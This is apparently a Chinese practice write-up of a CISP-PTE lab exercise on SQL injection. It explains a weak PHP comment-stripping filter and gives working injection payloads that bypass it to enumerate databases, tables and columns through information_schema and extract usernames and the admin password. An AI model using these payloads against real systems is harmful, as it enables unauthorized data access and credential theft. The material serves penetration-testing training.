CISP-PTE练习篇(基础题目一:SQL注入)

本文仅当作练习记录使用。

开始答题:

CISP-PTE练习篇(基础题目一:SQL注入)_第1张图片

注册账号 poi ,在发表出给出过滤代码如下;

// 代码过滤规则
while (strstr($sql,'--')) {
	$sql = str_replace("--", "", $sql);
}
while (strstr($sql,'#')) {
	$sql = str_replace("#", "", $sql);
}

函数的作用:

strstr(str1,str2)
函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。

举例:

echo strstr("123456","5");

?>
意思就是只返回 "123456" 中出现的第一个 "5" 直到结束(显示结果结果为 56)

str_replace("--", "", $sql);
意思是将--$sql中的全部替换为 空
str_replace()函数
str_replace(find,replace,string);

find       必需。规定要查找的值。
replace 必需。规定替换 find 中的值的值。
string    必需。规定被搜索的字符串。
echo str_replace("1","2","11111");
?>
意思就是将111111中的1全部替换为2(显示结果为22222)

知道函数的作用之后尝试进行绕过,可利用在线运行PHP攻击进行尝试绕过。

系统没有过滤空格等特殊符号

CISP-PTE练习篇(基础题目一:SQL注入)_第2张图片

获取当前数据库:

database',(select database()),'poi') #-#---

CISP-PTE练习篇(基础题目一:SQL注入)_第3张图片

 获取2web数据库中的所有表:

22',(select group_concat(table_name) from information_schema.tables where table_schema='2web'),'poi')#-#---

CISP-PTE练习篇(基础题目一:SQL注入)_第4张图片

 获取表中的字段:

column_name',(select group_concat(column_name) from information_schema.columns where  table_name='users1'),'poi')#-#---

CISP-PTE练习篇(基础题目一:SQL注入)_第5张图片

 获取字段 password,username 中的值:

22',(select group_concat(username,'_',password) from users1),'poi')#-#---

想直接获取所有的 password,username 的值但是没有成功---可能由于查询长度过长做了限制。

知道了表明为users1,字段名为password,username;直接select * from 进行查询。

22',(select password from users1 where username='admin'),'poi')#-#---

CISP-PTE练习篇(基础题目一:SQL注入)_第6张图片

知识点补充:

information_schema 库存储了其他数据库中的所有信息
tables表          保存了所有的数据库的名称和数据库表的名称等
schemata表    保存了所有的数据库的名称和数据库的编码信息等
columns表      保存了mysql数据库中所有表的信息如:数据库名称、字段名称、字段类型等
schema_name    库名信息
table_name         表名信息
column_name     字段信息

group_concat()    拼接显示 

你可能感兴趣的:(web安全)